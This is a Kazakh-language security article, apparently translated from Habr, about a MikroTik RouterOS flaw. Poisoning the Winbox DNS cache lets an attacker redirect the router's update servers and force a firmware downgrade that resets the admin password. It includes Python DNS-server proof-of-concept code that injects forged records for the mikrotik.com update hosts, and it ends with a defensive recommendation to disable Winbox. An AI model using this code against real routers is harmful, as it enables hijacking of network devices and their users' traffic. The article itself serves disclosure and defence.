RouterOS (Mikrotik) негізіндегі құрылғыларды қашықтан төмендету мүмкіндігі жүздеген мың желілік құрылғыларға қауіп төндіреді. Осалдық Winbox протоколының DNS кэшінің улануымен байланысты және құрылғыға ескірген (әдепкі құпия сөзді қалпына келтіру арқылы) немесе өзгертілген микробағдарламаны жүктеуге мүмкіндік береді.
Осалдық мәліметтері
RouterOS терминалы DNS іздеу үшін шешу пәрменін қолдайды.
Бұл сұрау шешуші деп аталатын екілік жүйе арқылы өңделеді. Resolver - RouterOS жүйесінің Winbox протоколына қосылатын көптеген екілік файлдардың бірі. Жоғары деңгейде Winbox портына жіберілген «хабарламалар» массив негізіндегі нөмірлеу схемасы негізінде RouterOS жүйесінде әртүрлі екілік файлдарға бағытталуы мүмкін.
Әдепкі бойынша, RouterOS жүйесінде DNS сервер мүмкіндігі өшірілген.
Дегенмен, сервер функциясы өшірілген болса да, маршрутизатор өзінің DNS кэшін сақтайды.
Мысалы, example.com үшін winbox_dns_request арқылы сұрау жасағанда, маршрутизатор нәтижені кэштейді.
Сұрау жіберілетін DNS серверін көрсете алатындықтан, қате мекенжайларды енгізу маңызды емес. Мысалы, DNS серверінің орындалуын мына жерден конфигурациялауға болады
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Енді Winbox арқылы example.com сайтын іздесеңіз, маршрутизатордың DNS кэшінің уланғанын көре аласыз.
Әрине, example.com сайтын улану өте пайдалы емес, өйткені маршрутизатор оны іс жүзінде пайдаланбайды. Дегенмен, маршрутизатор upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com және download.mikrotik.com сайттарына кіруі керек. Ал тағы бір қателіктің арқасында олардың барлығын бірден улауға болады.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Маршрутизатор бір рұқсат сұрайды, біз бес рұқсат береміз. Маршрутизатор осы жауаптардың барлығын дұрыс кэштей алмайды.
Әлбетте, бұл шабуыл маршрутизатор DNS сервері ретінде әрекет ететін болса да пайдалы, өйткені ол маршрутизатор клиенттеріне шабуыл жасауға мүмкіндік береді.
Бұл шабуыл сондай-ақ аса маңызды осалдықты пайдалануға мүмкіндік береді: RouterOS нұсқасын төмендетіңіз немесе кері қайтарыңыз. Шабуыл жасаушы жаңарту серверінің логикасын, соның ішінде өзгертулер журналын қайта жасайды және RouterOS жүйесін ескірген (осал) нұсқаны ағымдағы деп қабылдауға мәжбүр етеді. Бұл жерде қауіп мынада: нұсқа «жаңартылған» кезде әкімші құпия сөзі әдепкі мәнге қалпына келтіріледі - шабуылдаушы жүйеге бос парольмен кіре алады!
Осыған қарамастан шабуыл айтарлықтай жұмыс істейді
қорғаныс
Winbox-ты жай ғана өшіру өзіңізді осы шабуылдардан қорғауға мүмкіндік береді. Winbox арқылы басқарудың ыңғайлылығына қарамастан, SSH протоколын қолданған дұрыс.
Ақпарат көзі: www.habr.com